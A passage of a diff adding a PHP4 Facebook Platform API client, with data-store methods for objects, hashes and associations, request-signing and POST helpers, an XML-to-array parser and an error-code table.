+   *    API_EC_DATA_OBJECT_ALREADY_EXISTS
+   *    API_EC_PARAM
+   *    API_EC_PERMISSION
+   *    API_EC_DATA_INVALID_OPERATION
+   *    API_EC_DATA_QUOTA_EXCEEDED
+   *    API_EC_DATA_UNKNOWN_ERROR
+   */
+  function data_renameObjectType($obj_type, $new_name) {
+    return $this->call_method
+      ('facebook.data.renameObjectType',
+       array('obj_type' => $obj_type,
+             'new_name' => $new_name));
+  }
+
+  /**
+   * Add a new property to an object type.
+   *
+   * @param  obj_type       object type's name
+   * @param  prop_name      name of the property to add
+   * @param  prop_type      1: integer; 2: string; 3: text blob
+   * @error
+   *    API_EC_DATA_DATABASE_ERROR
+   *    API_EC_DATA_OBJECT_ALREADY_EXISTS
+   *    API_EC_PARAM
+   *    API_EC_PERMISSION
+   *    API_EC_DATA_INVALID_OPERATION
+   *    API_EC_DATA_QUOTA_EXCEEDED
+   *    API_EC_DATA_UNKNOWN_ERROR
+   */
+  function data_defineObjectProperty($obj_type, $prop_name, $prop_type) {
+    return $this->call_method
+      ('facebook.data.defineObjectProperty',
+       array('obj_type' => $obj_type,
+             'prop_name' => $prop_name,
+             'prop_type' => $prop_type));
+  }
+
+  /**
+   * Remove a previously defined property from an object type.
+   *
+   * @param  obj_type      object type's name
+   * @param  prop_name     name of the property to remove
+   * @error
+   *    API_EC_DATA_DATABASE_ERROR
+   *    API_EC_DATA_OBJECT_NOT_FOUND
+   *    API_EC_PARAM
+   *    API_EC_PERMISSION
+   *    API_EC_DATA_INVALID_OPERATION
+   *    API_EC_DATA_QUOTA_EXCEEDED
+   *    API_EC_DATA_UNKNOWN_ERROR
+   */
+  function data_undefineObjectProperty($obj_type, $prop_name) {
+    return $this->call_method
+      ('facebook.data.undefineObjectProperty',
+       array('obj_type' => $obj_type,
+             'prop_name' => $prop_name));
+  }
+
+  /**
+   * Rename a previously defined property of an object type.
+   *
+   * @param  obj_type      object type's name
+   * @param  prop_name     name of the property to rename
+   * @param  new_name      new name to use
+   * @error
+   *    API_EC_DATA_DATABASE_ERROR
+   *    API_EC_DATA_OBJECT_NOT_FOUND
+   *    API_EC_DATA_OBJECT_ALREADY_EXISTS
+   *    API_EC_PARAM
+   *    API_EC_PERMISSION
+   *    API_EC_DATA_INVALID_OPERATION
+   *    API_EC_DATA_QUOTA_EXCEEDED
+   *    API_EC_DATA_UNKNOWN_ERROR
+   */
+  function data_renameObjectProperty($obj_type, $prop_name, $new_name) {
+    return $this->call_method
+      ('facebook.data.renameObjectProperty',
+       array('obj_type' => $obj_type,
+             'prop_name' => $prop_name,
+             'new_name' => $new_name));
+  }
+
+  /**
+   * Retrieve a list of all object types that have defined for the application.
+   *
+   * @return               a list of object type names
+   * @error
+   *    API_EC_DATA_DATABASE_ERROR
+   *    API_EC_PERMISSION
+   *    API_EC_DATA_QUOTA_EXCEEDED
+   *    API_EC_DATA_UNKNOWN_ERROR
+   */
+  function data_getObjectTypes() {
+    return $this->call_method
+      ('facebook.data.getObjectTypes',
+       array());
+  }
+
+  /**
+   * Get definitions of all properties of an object type.
+   *
+   * @param obj_type       object type's name
+   * @return               pairs of property name and property types
+   * @error
+   *    API_EC_DATA_DATABASE_ERROR
+   *    API_EC_PARAM
+   *    API_EC_PERMISSION
+   *    API_EC_DATA_OBJECT_NOT_FOUND
+   *    API_EC_DATA_QUOTA_EXCEEDED
+   *    API_EC_DATA_UNKNOWN_ERROR
+   */
+  function data_getObjectType($obj_type) {
+    return $this->call_method
+      ('facebook.data.getObjectType',
+       array('obj_type' => $obj_type));
+  }
+
+  /**
+   * Create a new object.
+   *
+   * @param  obj_type      object type's name
+   * @param  properties    (optional) properties to set initially
+   * @return               newly created object's id
+   * @error
+   *    API_EC_DATA_DATABASE_ERROR
+   *    API_EC_PARAM
+   *    API_EC_PERMISSION
+   *    API_EC_DATA_INVALID_OPERATION
+   *    API_EC_DATA_QUOTA_EXCEEDED
+   *    API_EC_DATA_UNKNOWN_ERROR
+   */
+  function data_createObject($obj_type, $properties = null) {
+    return $this->call_method
+      ('facebook.data.createObject',
+       array('obj_type' => $obj_type,
+             'properties' => json_encode($properties)));
+  }
+
+  /**
+   * Update an existing object.
+   *
+   * @param  obj_id        object's id
+   * @param  properties    new properties
+   * @param  replace       true for replacing existing properties; false for merging
+   * @error
+   *    API_EC_DATA_DATABASE_ERROR
+   *    API_EC_DATA_OBJECT_NOT_FOUND
+   *    API_EC_PARAM
+   *    API_EC_PERMISSION
+   *    API_EC_DATA_INVALID_OPERATION
+   *    API_EC_DATA_QUOTA_EXCEEDED
+   *    API_EC_DATA_UNKNOWN_ERROR
+   */
+  function data_updateObject($obj_id, $properties, $replace = false) {
+    return $this->call_method
+      ('facebook.data.updateObject',
+       array('obj_id' => $obj_id,
+             'properties' => json_encode($properties),
+             'replace' => $replace));
+  }
+
+  /**
+   * Delete an existing object.
+   *
+   * @param  obj_id        object's id
+   * @error
+   *    API_EC_DATA_DATABASE_ERROR
+   *    API_EC_DATA_OBJECT_NOT_FOUND
+   *    API_EC_PARAM
+   *    API_EC_PERMISSION
+   *    API_EC_DATA_INVALID_OPERATION
+   *    API_EC_DATA_QUOTA_EXCEEDED
+   *    API_EC_DATA_UNKNOWN_ERROR
+   */
+  function data_deleteObject($obj_id) {
+    return $this->call_method
+      ('facebook.data.deleteObject',
+       array('obj_id' => $obj_id));
+  }
+
+  /**
+   * Delete a list of objects.
+   *
+   * @param  obj_ids       objects to delete
+   * @error
+   *    API_EC_DATA_DATABASE_ERROR
+   *    API_EC_PARAM
+   *    API_EC_PERMISSION
+   *    API_EC_DATA_INVALID_OPERATION
+   *    API_EC_DATA_QUOTA_EXCEEDED
+   *    API_EC_DATA_UNKNOWN_ERROR
+   */
+  function data_deleteObjects($obj_ids) {
+    return $this->call_method
+      ('facebook.data.deleteObjects',
+       array('obj_ids' => json_encode($obj_ids)));
+  }
+
+  /**
+   * Get a single property value of an object.
+   *
+   * @param  obj_id        object's id
+   * @param  prop_name     individual property's name
+   * @return               individual property's value
+   * @error
+   *    API_EC_DATA_DATABASE_ERROR
+   *    API_EC_DATA_OBJECT_NOT_FOUND
+   *    API_EC_PARAM
+   *    API_EC_PERMISSION
+   *    API_EC_DATA_INVALID_OPERATION
+   *    API_EC_DATA_QUOTA_EXCEEDED
+   *    API_EC_DATA_UNKNOWN_ERROR
+   */
+  function data_getObjectProperty($obj_id, $prop_name) {
+    return $this->call_method
+      ('facebook.data.getObjectProperty',
+       array('obj_id' => $obj_id,
+             'prop_name' => $prop_name));
+  }
+
+  /**
+   * Get properties of an object.
+   *
+   * @param  obj_id      object's id
+   * @param  prop_names  (optional) properties to return; null for all.
+   * @return             specified properties of an object
+
+   * @error
+   *    API_EC_DATA_DATABASE_ERROR
+   *    API_EC_DATA_OBJECT_NOT_FOUND
+   *    API_EC_PARAM
+   *    API_EC_PERMISSION
+   *    API_EC_DATA_INVALID_OPERATION
+   *    API_EC_DATA_QUOTA_EXCEEDED
+   *    API_EC_DATA_UNKNOWN_ERROR
+   */
+  function data_getObject($obj_id, $prop_names = null) {
+    return $this->call_method
+      ('facebook.data.getObject',
+       array('obj_id' => $obj_id,
+             'prop_names' => json_encode($prop_names)));
+  }
+
+  /**
+   * Get properties of a list of objects.
+   *
+   * @param  obj_ids     object ids
+   * @param  prop_names  (optional) properties to return; null for all.
+   * @return             specified properties of an object
+   * @error
+   *    API_EC_DATA_DATABASE_ERROR
+   *    API_EC_DATA_OBJECT_NOT_FOUND
+   *    API_EC_PARAM
+   *    API_EC_PERMISSION
+   *    API_EC_DATA_INVALID_OPERATION
+   *    API_EC_DATA_QUOTA_EXCEEDED
+   *    API_EC_DATA_UNKNOWN_ERROR
+   */
+  function data_getObjects($obj_ids, $prop_names = null) {
+    return $this->call_method
+      ('facebook.data.getObjects',
+       array('obj_ids' => json_encode($obj_ids),
+             'prop_names' => json_encode($prop_names)));
+  }
+
+  /**
+   * Set a single property value of an object.
+   *
+   * @param  obj_id        object's id
+   * @param  prop_name     individual property's name
+   * @param  prop_value    new value to set
+   * @error
+   *    API_EC_DATA_DATABASE_ERROR
+   *    API_EC_DATA_OBJECT_NOT_FOUND
+   *    API_EC_PARAM
+   *    API_EC_PERMISSION
+   *    API_EC_DATA_INVALID_OPERATION
+   *    API_EC_DATA_QUOTA_EXCEEDED
+   *    API_EC_DATA_UNKNOWN_ERROR
+   */
+  function data_setObjectProperty($obj_id, $prop_name, $prop_value) {
+    return $this->call_method
+      ('facebook.data.setObjectProperty',
+       array('obj_id' => $obj_id,
+             'prop_name' => $prop_name,
+             'prop_value' => $prop_value));
+  }
+
+  /**
+   * Read hash value by key.
+   *
+   * @param  obj_type      object type's name
+   * @param  key           hash key
+   * @param  prop_name     (optional) individual property's name
+   * @return               hash value
+   * @error
+   *    API_EC_DATA_DATABASE_ERROR
+   *    API_EC_PARAM
+   *    API_EC_PERMISSION
+   *    API_EC_DATA_INVALID_OPERATION
+   *    API_EC_DATA_QUOTA_EXCEEDED
+   *    API_EC_DATA_UNKNOWN_ERROR
+   */
+  function data_getHashValue($obj_type, $key, $prop_name = null) {
+    return $this->call_method
+      ('facebook.data.getHashValue',
+       array('obj_type' => $obj_type,
+             'key' => $key,
+             'prop_name' => $prop_name));
+  }
+
+  /**
+   * Write hash value by key.
+   *
+   * @param  obj_type      object type's name
+   * @param  key           hash key
+   * @param  value         hash value
+   * @param  prop_name     (optional) individual property's name
+   * @error
+   *    API_EC_DATA_DATABASE_ERROR
+   *    API_EC_PARAM
+   *    API_EC_PERMISSION
+   *    API_EC_DATA_INVALID_OPERATION
+   *    API_EC_DATA_QUOTA_EXCEEDED
+   *    API_EC_DATA_UNKNOWN_ERROR
+   */
+  function data_setHashValue($obj_type, $key, $value, $prop_name = null) {
+    return $this->call_method
+      ('facebook.data.setHashValue',
+       array('obj_type' => $obj_type,
+             'key' => $key,
+             'value' => $value,
+             'prop_name' => $prop_name));
+  }
+
+  /**
+   * Increase a hash value by specified increment atomically.
+   *
+   * @param  obj_type      object type's name
+   * @param  key           hash key
+   * @param  prop_name     individual property's name
+   * @param  increment     (optional) default is 1
+   * @return               incremented hash value
+   * @error
+   *    API_EC_DATA_DATABASE_ERROR
+   *    API_EC_PARAM
+   *    API_EC_PERMISSION
+   *    API_EC_DATA_INVALID_OPERATION
+   *    API_EC_DATA_QUOTA_EXCEEDED
+   *    API_EC_DATA_UNKNOWN_ERROR
+   */
+  function data_incHashValue($obj_type, $key, $prop_name, $increment = 1) {
+    return $this->call_method
+      ('facebook.data.incHashValue',
+       array('obj_type' => $obj_type,
+             'key' => $key,
+             'prop_name' => $prop_name,
+             'increment' => $increment));
+  }
+
+  /**
+   * Remove a hash key and its values.
+   *
+   * @param  obj_type    object type's name
+   * @param  key         hash key
+   * @error
+   *    API_EC_DATA_DATABASE_ERROR
+   *    API_EC_PARAM
+   *    API_EC_PERMISSION
+   *    API_EC_DATA_INVALID_OPERATION
+   *    API_EC_DATA_QUOTA_EXCEEDED
+   *    API_EC_DATA_UNKNOWN_ERROR
+   */
+  function data_removeHashKey($obj_type, $key) {
+    return $this->call_method
+      ('facebook.data.removeHashKey',
+       array('obj_type' => $obj_type,
+             'key' => $key));
+  }
+
+  /**
+   * Remove hash keys and their values.
+   *
+   * @param  obj_type    object type's name
+   * @param  keys        hash keys
+   * @error
+   *    API_EC_DATA_DATABASE_ERROR
+   *    API_EC_PARAM
+   *    API_EC_PERMISSION
+   *    API_EC_DATA_INVALID_OPERATION
+   *    API_EC_DATA_QUOTA_EXCEEDED
+   *    API_EC_DATA_UNKNOWN_ERROR
+   */
+  function data_removeHashKeys($obj_type, $keys) {
+    return $this->call_method
+      ('facebook.data.removeHashKeys',
+       array('obj_type' => $obj_type,
+             'keys' => json_encode($keys)));
+  }
+
+
+  /**
+   * Define an object association.
+   *
+   * @param  name        name of this association
+   * @param  assoc_type  1: one-way 2: two-way symmetric 3: two-way asymmetric
+   * @param  assoc_info1 needed info about first object type
+   * @param  assoc_info2 needed info about second object type
+   * @param  inverse     (optional) name of reverse association
+   * @error
+   *    API_EC_DATA_DATABASE_ERROR
+   *    API_EC_DATA_OBJECT_ALREADY_EXISTS
+   *    API_EC_PARAM
+   *    API_EC_PERMISSION
+   *    API_EC_DATA_INVALID_OPERATION
+   *    API_EC_DATA_QUOTA_EXCEEDED
+   *    API_EC_DATA_UNKNOWN_ERROR
+   */
+  function data_defineAssociation($name, $assoc_type, $assoc_info1,
+                                  $assoc_info2, $inverse = null) {
+    return $this->call_method
+      ('facebook.data.defineAssociation',
+       array('name' => $name,
+             'assoc_type' => $assoc_type,
+             'assoc_info1' => json_encode($assoc_info1),
+             'assoc_info2' => json_encode($assoc_info2),
+             'inverse' => $inverse));
+  }
+
+  /**
+   * Undefine an object association.
+   *
+   * @param  name        name of this association
+   * @error
+   *    API_EC_DATA_DATABASE_ERROR
+   *    API_EC_DATA_OBJECT_NOT_FOUND
+   *    API_EC_PARAM
+   *    API_EC_PERMISSION
+   *    API_EC_DATA_INVALID_OPERATION
+   *    API_EC_DATA_QUOTA_EXCEEDED
+   *    API_EC_DATA_UNKNOWN_ERROR
+   */
+  function data_undefineAssociation($name) {
+    return $this->call_method
+      ('facebook.data.undefineAssociation',
+       array('name' => $name));
+  }
+
+  /**
+   * Rename an object association or aliases.
+   *
+   * @param  name        name of this association
+   * @param  new_name    (optional) new name of this association
+   * @param  new_alias1  (optional) new alias for object type 1
+   * @param  new_alias2  (optional) new alias for object type 2
+   * @error
+   *    API_EC_DATA_DATABASE_ERROR
+   *    API_EC_DATA_OBJECT_ALREADY_EXISTS
+   *    API_EC_DATA_OBJECT_NOT_FOUND
+   *    API_EC_PARAM
+   *    API_EC_PERMISSION
+   *    API_EC_DATA_INVALID_OPERATION
+   *    API_EC_DATA_QUOTA_EXCEEDED
+   *    API_EC_DATA_UNKNOWN_ERROR
+   */
+  function data_renameAssociation($name, $new_name, $new_alias1 = null,
+                                  $new_alias2 = null) {
+    return $this->call_method
+      ('facebook.data.renameAssociation',
+       array('name' => $name,
+             'new_name' => $new_name,
+             'new_alias1' => $new_alias1,
+             'new_alias2' => $new_alias2));
+  }
+
+  /**
+   * Get definition of an object association.
+   *
+   * @param  name        name of this association
+   * @return             specified association
+   * @error
+   *    API_EC_DATA_DATABASE_ERROR
+   *    API_EC_DATA_OBJECT_NOT_FOUND
+   *    API_EC_PARAM
+   *    API_EC_PERMISSION
+   *    API_EC_DATA_QUOTA_EXCEEDED
+   *    API_EC_DATA_UNKNOWN_ERROR
+   */
+  function data_getAssociationDefinition($name) {
+    return $this->call_method
+      ('facebook.data.getAssociationDefinition',
+       array('name' => $name));
+  }
+
+  /**
+   * Get definition of all associations.
+   *
+   * @return             all defined associations
+   * @error
+   *    API_EC_DATA_DATABASE_ERROR
+   *    API_EC_PERMISSION
+   *    API_EC_DATA_QUOTA_EXCEEDED
+   *    API_EC_DATA_UNKNOWN_ERROR
+   */
+  function data_getAssociationDefinitions() {
+    return $this->call_method
+      ('facebook.data.getAssociationDefinitions',
+       array());
+  }
+
+  /**
+   * Create or modify an association between two objects.
+   *
+   * @param  name        name of association
+   * @param  obj_id1     id of first object
+   * @param  obj_id2     id of second object
+   * @param  data        (optional) extra string data to store
+   * @param  assoc_time  (optional) extra time data; default to creation time
+   * @error
+   *    API_EC_DATA_DATABASE_ERROR
+   *    API_EC_PARAM
+   *    API_EC_PERMISSION
+   *    API_EC_DATA_INVALID_OPERATION
+   *    API_EC_DATA_QUOTA_EXCEEDED
+   *    API_EC_DATA_UNKNOWN_ERROR
+   */
+  function data_setAssociation($name, $obj_id1, $obj_id2, $data = null,
+                               $assoc_time = null) {
+    return $this->call_method
+      ('facebook.data.setAssociation',
+       array('name' => $name,
+             'obj_id1' => $obj_id1,
+             'obj_id2' => $obj_id2,
+             'data' => $data,
+             'assoc_time' => $assoc_time));
+  }
+
+  /**
+   * Create or modify associations between objects.
+   *
+   * @param  assocs      associations to set
+   * @param  name        (optional) name of association
+   * @error
+   *    API_EC_DATA_DATABASE_ERROR
+   *    API_EC_PARAM
+   *    API_EC_PERMISSION
+   *    API_EC_DATA_INVALID_OPERATION
+   *    API_EC_DATA_QUOTA_EXCEEDED
+   *    API_EC_DATA_UNKNOWN_ERROR
+   */
+  function data_setAssociations($assocs, $name = null) {
+    return $this->call_method
+      ('facebook.data.setAssociations',
+       array('assocs' => json_encode($assocs),
+             'name' => $name));
+  }
+
+  /**
+   * Remove an association between two objects.
+   *
+   * @param  name        name of association
+   * @param  obj_id1     id of first object
+   * @param  obj_id2     id of second object
+   * @error
+   *    API_EC_DATA_DATABASE_ERROR
+   *    API_EC_DATA_OBJECT_NOT_FOUND
+   *    API_EC_PARAM
+   *    API_EC_PERMISSION
+   *    API_EC_DATA_QUOTA_EXCEEDED
+   *    API_EC_DATA_UNKNOWN_ERROR
+   */
+  function data_removeAssociation($name, $obj_id1, $obj_id2) {
+    return $this->call_method
+      ('facebook.data.removeAssociation',
+       array('name' => $name,
+             'obj_id1' => $obj_id1,
+             'obj_id2' => $obj_id2));
+  }
+
+  /**
+   * Remove associations between objects by specifying pairs of object ids.
+   *
+   * @param  assocs      associations to remove
+   * @param  name        (optional) name of association
+   * @error
+   *    API_EC_DATA_DATABASE_ERROR
+   *    API_EC_DATA_OBJECT_NOT_FOUND
+   *    API_EC_PARAM
+   *    API_EC_PERMISSION
+   *    API_EC_DATA_QUOTA_EXCEEDED
+   *    API_EC_DATA_UNKNOWN_ERROR
+   */
+  function data_removeAssociations($assocs, $name = null) {
+    return $this->call_method
+      ('facebook.data.removeAssociations',
+       array('assocs' => json_encode($assocs),
+             'name' => $name));
+  }
+
+  /**
+   * Remove associations between objects by specifying one object id.
+   *
+   * @param  name        name of association
+   * @param  obj_id      who's association to remove
+   * @error
+   *    API_EC_DATA_DATABASE_ERROR
+   *    API_EC_DATA_OBJECT_NOT_FOUND
+   *    API_EC_PARAM
+   *    API_EC_PERMISSION
+   *    API_EC_DATA_INVALID_OPERATION
+   *    API_EC_DATA_QUOTA_EXCEEDED
+   *    API_EC_DATA_UNKNOWN_ERROR
+   */
+  function data_removeAssociatedObjects($name, $obj_id) {
+    return $this->call_method
+      ('facebook.data.removeAssociatedObjects',
+       array('name' => $name,
+             'obj_id' => $obj_id));
+  }
+
+  /**
+   * Retrieve a list of associated objects.
+   *
+   * @param  name        name of association
+   * @param  obj_id      who's association to retrieve
+   * @param  no_data     only return object ids
+   * @return             associated objects
+   * @error
+   *    API_EC_DATA_DATABASE_ERROR
+   *    API_EC_DATA_OBJECT_NOT_FOUND
+   *    API_EC_PARAM
+   *    API_EC_PERMISSION
+   *    API_EC_DATA_INVALID_OPERATION
+   *    API_EC_DATA_QUOTA_EXCEEDED
+   *    API_EC_DATA_UNKNOWN_ERROR
+   */
+  function data_getAssociatedObjects($name, $obj_id, $no_data = true) {
+    return $this->call_method
+      ('facebook.data.getAssociatedObjects',
+       array('name' => $name,
+             'obj_id' => $obj_id,
+             'no_data' => $no_data));
+  }
+
+  /**
+   * Count associated objects.
+   *
+   * @param  name        name of association
+   * @param  obj_id      who's association to retrieve
+   * @return             associated object's count
+   * @error
+   *    API_EC_DATA_DATABASE_ERROR
+   *    API_EC_DATA_OBJECT_NOT_FOUND
+   *    API_EC_PARAM
+   *    API_EC_PERMISSION
+   *    API_EC_DATA_INVALID_OPERATION
+   *    API_EC_DATA_QUOTA_EXCEEDED
+   *    API_EC_DATA_UNKNOWN_ERROR
+   */
+  function data_getAssociatedObjectCount($name, $obj_id) {
+    return $this->call_method
+      ('facebook.data.getAssociatedObjectCount',
+       array('name' => $name,
+             'obj_id' => $obj_id));
+  }
+
+  /**
+   * Get a list of associated object counts.
+   *
+   * @param  name        name of association
+   * @param  obj_ids     whose association to retrieve
+   * @return             associated object counts
+   * @error
+   *    API_EC_DATA_DATABASE_ERROR
+   *    API_EC_DATA_OBJECT_NOT_FOUND
+   *    API_EC_PARAM
+   *    API_EC_PERMISSION
+   *    API_EC_DATA_INVALID_OPERATION
+   *    API_EC_DATA_QUOTA_EXCEEDED
+   *    API_EC_DATA_UNKNOWN_ERROR
+   */
+  function data_getAssociatedObjectCounts($name, $obj_ids) {
+    return $this->call_method
+      ('facebook.data.getAssociatedObjectCounts',
+       array('name' => $name,
+             'obj_ids' => json_encode($obj_ids)));
+  }
+
+  /**
+   * Find all associations between two objects.
+   *
+   * @param  obj_id1     id of first object
+   * @param  obj_id2     id of second object
+   * @param  no_data     only return association names without data
+   * @return             all associations between objects
+   * @error
+   *    API_EC_DATA_DATABASE_ERROR
+   *    API_EC_PARAM
+   *    API_EC_PERMISSION
+   *    API_EC_DATA_QUOTA_EXCEEDED
+   *    API_EC_DATA_UNKNOWN_ERROR
+   */
+  function data_getAssociations($obj_id1, $obj_id2, $no_data = true) {
+    return $this->call_method
+      ('facebook.data.getAssociations',
+       array('obj_id1' => $obj_id1,
+             'obj_id2' => $obj_id2,
+             'no_data' => $no_data));
+  }
+
+  /* UTILITY FUNCTIONS */
+
+  function call_method($method, $params) {
+    $this->error_code = 0;
+    $xml = $this->post_request($method, $params);
+	
+	/*
+    $impl = new IsterXmlSimpleXMLImpl();
+    $sxml = $impl->load_string($xml);
+    $result = array();
+    $children = $sxml->children();
+    $result = $this->convert_simplexml_to_array($children[0]);
+	*/
+	$result = $this->xml2array($xml);
+	
+    if ($GLOBALS['facebook_config']['debug']) {
+      // output the raw xml and its corresponding php object, for debugging:
+      print '<div style="margin: 10px 30px; padding: 5px; border: 2px solid black; background: gray; color: white; font-size: 12px; font-weight: bold;">';
+      $this->cur_id++;
+      print $this->cur_id . ': Called ' . $method . ', show ' .
+            '<a href=# onclick="return toggleDisplay(' . $this->cur_id . ', \'params\');">Params</a> | '.
+            '<a href=# onclick="return toggleDisplay(' . $this->cur_id . ', \'xml\');">XML</a> | '.
+            '<a href=# onclick="return toggleDisplay(' . $this->cur_id . ', \'php\');">PHP</a>';
+      print '<pre id="params'.$this->cur_id.'" style="display: none; overflow: auto;">'.print_r($params, true).'</pre>';
+      print '<pre id="xml'.$this->cur_id.'" style="display: none; overflow: auto;">'.htmlspecialchars($xml).'</pre>';
+      print '<pre id="php'.$this->cur_id.'" style="display: none; overflow: auto;">'.print_r($result, true).'</pre>';
+      print '</div>';
+    }
+    if (is_array($result) && isset($result['error_code'])) {
+      $this->error_code = $result['error_code'];
+      return null;
+    }
+    return $result;
+  }
+
+  function post_request($method, $params) {
+    $params['method'] = $method;
+    $params['session_key'] = $this->session_key;
+    $params['api_key'] = $this->api_key;
+    $params['call_id'] = fb_microtime_float(true);
+    if ($params['call_id'] <= $this->last_call_id) {
+      $params['call_id'] = $this->last_call_id + 0.001;
+    }
+    $this->last_call_id = $params['call_id'];
+    if (!isset($params['v'])) {
+      $params['v'] = '1.0';
+    }
+    $post_params = array();
+    foreach ($params as $key => $val) {
+      if (is_array($val)) $params[$key] = implode(',', $val);
+      $post_params[] = $key.'='.urlencode($params[$key]);
+    }
+    $secret = $this->secret;
+    $post_params[] = 'sig='.$this->facebook->generate_sig($params, $secret);
+    $post_string = implode('&', $post_params);
+
+    if (function_exists('curl_init')) {
+      // Use CURL if installed...
+      $ch = curl_init();
+      curl_setopt($ch, CURLOPT_URL, $this->server_addr);
+      curl_setopt($ch, CURLOPT_POSTFIELDS, $post_string);
+      curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
+      curl_setopt($ch, CURLOPT_USERAGENT, 'Facebook API PHP4 Client 1.1 (curl) ' . phpversion());
+      $result = curl_exec($ch);
+      curl_close($ch);
+    } else {
+      // Non-CURL based version...
+      $context =
+        array('http' =>
+              array('method' => 'POST',
+                    'header' => 'Content-type: application/x-www-form-urlencoded'."\r\n".
+                                'User-Agent: Facebook API PHP4 Client 1.1 (non-curl) '.phpversion()."\r\n".
+                                'Content-length: ' . strlen($post_string),
+                    'content' => $post_string));
+      $contextid=stream_context_create($context);
+      $sock=fopen($this->server_addr, 'r', false, $contextid);
+      if ($sock) {
+        $result='';
+        while (!feof($sock))
+          $result.=fgets($sock, 4096);
+
+        fclose($sock);
+      }
+    }
+    return $result;
+  }
+  
+  /*
+  function convert_simplexml_to_array($sxml) {
+    if ($sxml) {
+      $arr = array();
+      $attrs = $sxml->attributes();
+      foreach ($sxml->children() as $child) {
+        if (!empty($attrs['list'])) {
+          $arr[] = $this->convert_simplexml_to_array($child);
+        } else {
+          $arr[$child->___n] = $this->convert_simplexml_to_array($child);
+        }
+      }
+      if (sizeof($arr) > 0) {
+        return $arr;
+      } else {
+        return (string)$sxml->CDATA();
+      }
+    } else {
+      return '';
+    }
+  }
+  */
+  
+  //xml2array script from http://www.bin-co.com/php/scripts/xml2array
+  //you still need xml_parser_create function to parse xml in PHP4
+  function xml2array($contents) {
+    if(!$contents) return array();
+    if(!function_exists('xml_parser_create')) {
+        return array();
+    }
+    $parser = xml_parser_create();
+    xml_parser_set_option( $parser, XML_OPTION_CASE_FOLDING, 0 );
+    xml_parser_set_option( $parser, XML_OPTION_SKIP_WHITE, 1 );
+    xml_parse_into_struct( $parser, $contents, $xml_values );
+    xml_parser_free( $parser );
+    if(!$xml_values) return;
+    $xml_array = array();
+    $parents = array();
+    $opened_tags = array();
+    $arr = array();
+    $current = &$xml_array;
+    foreach($xml_values as $data) {
+        unset($attributes,$value);
+        extract($data);
+        $result = '';
+        if(isset($value)) {
+            $result = $value;
+        }
+        if($type == "open") {
+            $parent[$level-1] = &$current;
+            if(!is_array($current) or (!in_array($tag, array_keys($current)))) {
+                $current[$tag] = $result;
+                $current = &$current[$tag];
+            } else {
+                if(isset($current[$tag][0])) {
+                    array_push($current[$tag], $result);
+                } else {
+                    $current[$tag] = array($current[$tag],$result);
+                }
+                $last = count($current[$tag]) - 1;
+                $current = &$current[$tag][$last];
+            }
+        } elseif($type == "complete") {
+            if(!isset($current[$tag])) {
+                $current[$tag] = $result;
+            } else {
+                if((is_array($current[$tag]) and $get_attributes == 0)
+                        or (isset($current[$tag][0]) and is_array($current[$tag][0]) and $get_attributes == 1)) {
+                    array_push($current[$tag],$result);
+                } else {
+                    $current[$tag] = array($current[$tag],$result);
+                }
+            }
+        } elseif($type == 'close') {
+            $current = &$parent[$level-1];
+        }
+    }
+    return($xml_array);
+  }
+}
+
+// Supporting methods and values------
+
+/**
+ * Error codes and descriptions for the Facebook API.
+ */
+
+class FacebookAPIErrorCodes {
+
+  var $API_EC_SUCCESS = 0;
+
+  /*
+   * GENERAL ERRORS
+   */
+  var $API_EC_UNKNOWN = 1;
+  var $API_EC_SERVICE = 2;
+  var $API_EC_METHOD = 3;
+  var $API_EC_TOO_MANY_CALLS = 4;
+  var $API_EC_BAD_IP = 5;
+
+  /*
+   * PARAMETER ERRORS
+   */
+  var $API_EC_PARAM = 100;
+  var $API_EC_PARAM_API_KEY = 101;
+  var $API_EC_PARAM_SESSION_KEY = 102;
+  var $API_EC_PARAM_CALL_ID = 103;
+  var $API_EC_PARAM_SIGNATURE = 104;
+  var $API_EC_PARAM_USER_ID = 110;
+  var $API_EC_PARAM_USER_FIELD = 111;
+  var $API_EC_PARAM_SOCIAL_FIELD = 112;
+  var $API_EC_PARAM_ALBUM_ID = 120;
+
+  /*
+   * USER PERMISSIONS ERRORS
+   */
+  var $API_EC_PERMISSION = 200;
+  var $API_EC_PERMISSION_USER = 210;
+  var $API_EC_PERMISSION_ALBUM = 220;
+  var $API_EC_PERMISSION_PHOTO = 221;
+
+  var $FQL_EC_PARSER = 601;
+  var $FQL_EC_UNKNOWN_FIELD = 602;
+  var $FQL_EC_UNKNOWN_TABLE = 603;
+  var $FQL_EC_NOT_INDEXABLE = 604;
+  var $FQL_EC_UNKNOWN_FUNCTION = 605;
+  var $FQL_EC_INVALID_PARAM = 606;
+
+  /**
+   * DATA STORE API ERRORS
+   */
+  var $API_EC_DATA_UNKNOWN_ERROR = 800;
+  var $API_EC_DATA_INVALID_OPERATION = 801;
+  var $API_EC_DATA_QUOTA_EXCEEDED = 802;
+  var $API_EC_DATA_OBJECT_NOT_FOUND = 803;
+  var $API_EC_DATA_OBJECT_ALREADY_EXISTS = 804;
+  var $API_EC_DATA_DATABASE_ERROR = 805;
+
+  var $api_error_descriptions = array();
+
+  function FacebookApiErrorCodes() {
+    $this->api_error_descriptions = array(
+      $this->API_EC_SUCCESS            => 'Success',
+      $this->API_EC_UNKNOWN            => 'An unknown error occurred',
+      $this->API_EC_SERVICE            => 'Service temporarily unavailable',
+      $this->API_EC_METHOD             => 'Unknown method',
+      $this->API_EC_TOO_MANY_CALLS     => 'Application request limit reached',
+      $this->API_EC_BAD_IP             => 'Unauthorized source IP address',
+      $this->API_EC_PARAM              => 'Invalid parameter',
+      $this->API_EC_PARAM_API_KEY      => 'Invalid API key',
+      $this->API_EC_PARAM_SESSION_KEY  => 'Session key invalid or no longer valid',
+      $this->API_EC_PARAM_CALL_ID      => 'Call_id must be greater than previous',
+      $this->API_EC_PARAM_SIGNATURE    => 'Incorrect signature',
+      $this->API_EC_PARAM_USER_ID      => 'Invalid user id',
+      $this->API_EC_PARAM_USER_FIELD   => 'Invalid user info field',
+      $this->API_EC_PARAM_SOCIAL_FIELD => 'Invalid user field',
+      $this->API_EC_PARAM_ALBUM_ID     => 'Invalid album id',
+      $this->API_EC_PERMISSION         => 'Permissions error',
+      $this->API_EC_PERMISSION_USER    => 'User not visible',
+      $this->API_EC_PERMISSION_ALBUM   => 'Album not visible',
+      $this->API_EC_PERMISSION_PHOTO   => 'Photo not visible',
+      $this->FQL_EC_PARSER             => 'FQL: Parser Error',
+      $this->FQL_EC_UNKNOWN_FIELD      => 'FQL: Unknown Field',
+      $this->FQL_EC_UNKNOWN_TABLE      => 'FQL: Unknown Table',
